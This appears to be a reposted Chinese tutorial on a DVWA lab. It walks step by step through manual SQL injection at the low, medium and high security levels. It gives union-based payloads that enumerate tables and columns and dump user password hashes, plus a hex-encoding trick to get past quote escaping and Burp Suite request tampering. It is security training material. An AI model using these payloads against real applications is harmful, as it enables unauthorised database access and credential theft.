DVWA-SQL注入


一、SQL注入概念

SQL注入是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。

二、手工注入常規思路

  1.判斷是否存在注入,注入是字符型還是數字型

  2.猜解SQL查詢語句中的字段數

  3.確定回顯位置

  4.獲取當前數據庫

  5.獲取數據庫中的表

  6.獲取表中的字段名

  7.得到數據

三、DVWA注入分析

  將DVWA的級別設置為low

  

1.分析源碼,可以看到沒有對參數做任何的過濾,,直接帶入數據庫進行查詢,分析sql查詢語句,可能存在字符型sql注入。

 

 

 

 2.判斷sql是否存在存入,,以及注入的類型。1' and '1'='1

 

 3.猜解SQL查詢語句中的字段數,1' order by 1#

 

1' order by 2#

 

1' order by 3#   從上面兩個圖,可以說明,,SQL語句查詢的表的的字段數位2,

確定顯示的位置(SQL語句查詢之后的回顯位置)

 

1' union select 1,2#    #從下圖可以看出有2個回顯

 

 查詢當前的數據庫,以及版本

1' union select version(),database()#

 

獲取數據庫中的表,

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

 

獲取表中的字段名,

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

 

獲得字段中的數據,

1' union select user, password from users#

 

解析密碼的話,,可以去百度搜索MD5(在線破解密碼的一個網頁)

 

 

________________________________________________________________

________________________________________________________________

將DVWA的級別設置為Medium

中級加入了一些防御,,不讓用戶輸入,只提供選擇(可以用burpsuit抓包來繞過),需要把瀏覽器設置為代理

分析源碼可以看到對參數使用mysql_real_escape_string函數轉義sql語句中的一些

特殊字符,查看sql查詢語句可以看出可能存在數字型sql注入。

 

分析源碼

 

把瀏覽器設置為代理,,,,設置手動代理時,,將端口設置為8080

通過burpsuit抓包,修改數據包,,繞過防御。判斷注入點,以及注入的類型,下圖可以看到,

存在注入,注入類型是數字型注入。

1 and 1=1#    3是第二步后才出現的,,此處為了方便理解

 

 

 猜解sql查詢語句中的字段個數,,測試字段個數為1,

1 order by 1#

 

 

 測試字段個數2,1 order by 2#    

 

 

測試字段個數3,1 order by 3#    返回錯誤頁面,所以字段數位2

 

 

 為了看得方便點,我們選中然后右擊,發送給Repeater,,

 這樣就不用再返回瀏覽器查看狀態啦,,直接在burpsuit抓包工具下查看

 

確定回顯的位置,下圖可以說明有2個回顯位置,1 union select 1,2#

 

 

獲取當前數據庫的名稱以及版本,1 union select database(),version()#

  

獲取數據庫中的所有表,

1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

 

獲取表中的所有字段名,,考慮到單引號被轉義,可以利用16進制繞過。

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

 

獲取字段中的數據,1 union selcect user,password from users#

 

____________________________________________________________

 

_____________________________________________________________

將DVWA的級別設置為High

將DVWA設置為高級,可以看出,,點擊“here to change your ID”,頁面自動跳轉,,防御了自動化的SQL注入,分析源碼可以看到,對參數沒有做防御,,在sql查詢語句中限制啦查詢條數,,可以通過burpsuit抓包,修改數據包實現繞過。

 

 

 

 

 查看源碼

 

 

 

 獲取密碼,1' union select user,password from users#

 

——————————————————————————————————

——————————————————————————————————

將DVWA的級別設置為Impossible,分析源碼可以看到使用啦PD0技術,,杜絕啦SQL注入。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM